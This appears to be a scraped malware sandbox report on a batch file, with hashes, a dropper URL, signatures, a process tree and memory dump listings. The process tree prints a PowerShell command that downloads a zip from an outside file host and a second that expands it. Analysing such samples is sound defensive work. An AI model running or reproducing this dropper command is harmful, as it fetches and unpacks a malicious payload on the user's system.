3113000f470106b98b5a3208266c79213a33567ca7841dd1cfe8ab84847c4eb8

Analysis

max time kernel
1558s
max time network
1561s
platform
windows7_x64
resource
win7-20231020-en
resource tags

arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system
submitted
06/11/2023, 17:25

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General

Target

tesy - Copy (5).bat
Size

706B
MD5

035f17438f6146d5ac7285b4adfeb370
SHA1

ef83c877367e96073e2b9b841d9c03ece6b1df7e
SHA256

02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0
SHA512

49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	1700	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1700	powershell.exe
2832	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1700	powershell.exe
Token: SeDebugPrivilege	2832	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2564 wrote to memory of 1700	2564	cmd.exe	29
PID 2564 wrote to memory of 1700	2564	cmd.exe	29
PID 2564 wrote to memory of 1700	2564	cmd.exe	29
PID 2564 wrote to memory of 2832	2564	cmd.exe	30
PID 2564 wrote to memory of 2832	2564	cmd.exe	30
PID 2564 wrote to memory of 2832	2564	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (5).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2564
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1700
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2832

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
c70bd6fc91ef8806815184738abc5c2f

SHA1
9b0b5b58549bf9fd4f25e32b9f5bc8e65118ea63

SHA256
a1590db81452a17c462f125ebd38601bf67ae6a6d0b5b5980f1598805a273177

SHA512
6a9ca376b6a3754ea892f38ec3bec8ac43f755a3c9ddff5f1f758338efc2f1be36f33653d8969c3f171a41a0bdc45e6f3868f29274e230daff6f39d968bc6133

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\QVKQMHNJBM24QQUNWYK5.temp

Filesize
7KB

MD5
c70bd6fc91ef8806815184738abc5c2f

SHA1
9b0b5b58549bf9fd4f25e32b9f5bc8e65118ea63

SHA256
a1590db81452a17c462f125ebd38601bf67ae6a6d0b5b5980f1598805a273177

SHA512
6a9ca376b6a3754ea892f38ec3bec8ac43f755a3c9ddff5f1f758338efc2f1be36f33653d8969c3f171a41a0bdc45e6f3868f29274e230daff6f39d968bc6133

Download Submit
memory/1700-9-0x00000000025F0000-0x0000000002670000-memory.dmp

Filesize
512KB

Download
memory/1700-6-0x0000000002490000-0x0000000002498000-memory.dmp

Filesize
32KB

Download
memory/1700-8-0x00000000025F0000-0x0000000002670000-memory.dmp

Filesize
512KB

Download
memory/1700-5-0x000000001B220000-0x000000001B502000-memory.dmp

Filesize
2.9MB

Download
memory/1700-10-0x00000000025F0000-0x0000000002670000-memory.dmp

Filesize
512KB

Download
memory/1700-11-0x00000000025F0000-0x0000000002670000-memory.dmp

Filesize
512KB

Download
memory/1700-13-0x000007FEF5D20000-0x000007FEF66BD000-memory.dmp

Filesize
9.6MB

Download
memory/1700-7-0x000007FEF5D20000-0x000007FEF66BD000-memory.dmp

Filesize
9.6MB

Download
memory/1700-4-0x000007FEF5D20000-0x000007FEF66BD000-memory.dmp

Filesize
9.6MB

Download
memory/2832-19-0x000000001B1A0000-0x000000001B482000-memory.dmp

Filesize
2.9MB

Download
memory/2832-21-0x0000000001D80000-0x0000000001D88000-memory.dmp

Filesize
32KB

Download
memory/2832-20-0x000007FEF5380000-0x000007FEF5D1D000-memory.dmp

Filesize
9.6MB

Download
memory/2832-22-0x000007FEF5380000-0x000007FEF5D1D000-memory.dmp

Filesize
9.6MB

Download
memory/2832-23-0x0000000002540000-0x00000000025C0000-memory.dmp

Filesize
512KB

Download
memory/2832-24-0x0000000002540000-0x00000000025C0000-memory.dmp

Filesize
512KB

Download
memory/2832-26-0x0000000002540000-0x00000000025C0000-memory.dmp

Filesize
512KB

Download
memory/2832-25-0x0000000002540000-0x00000000025C0000-memory.dmp

Filesize
512KB

Download
memory/2832-27-0x000007FEF5380000-0x000007FEF5D1D000-memory.dmp

Filesize
9.6MB

Download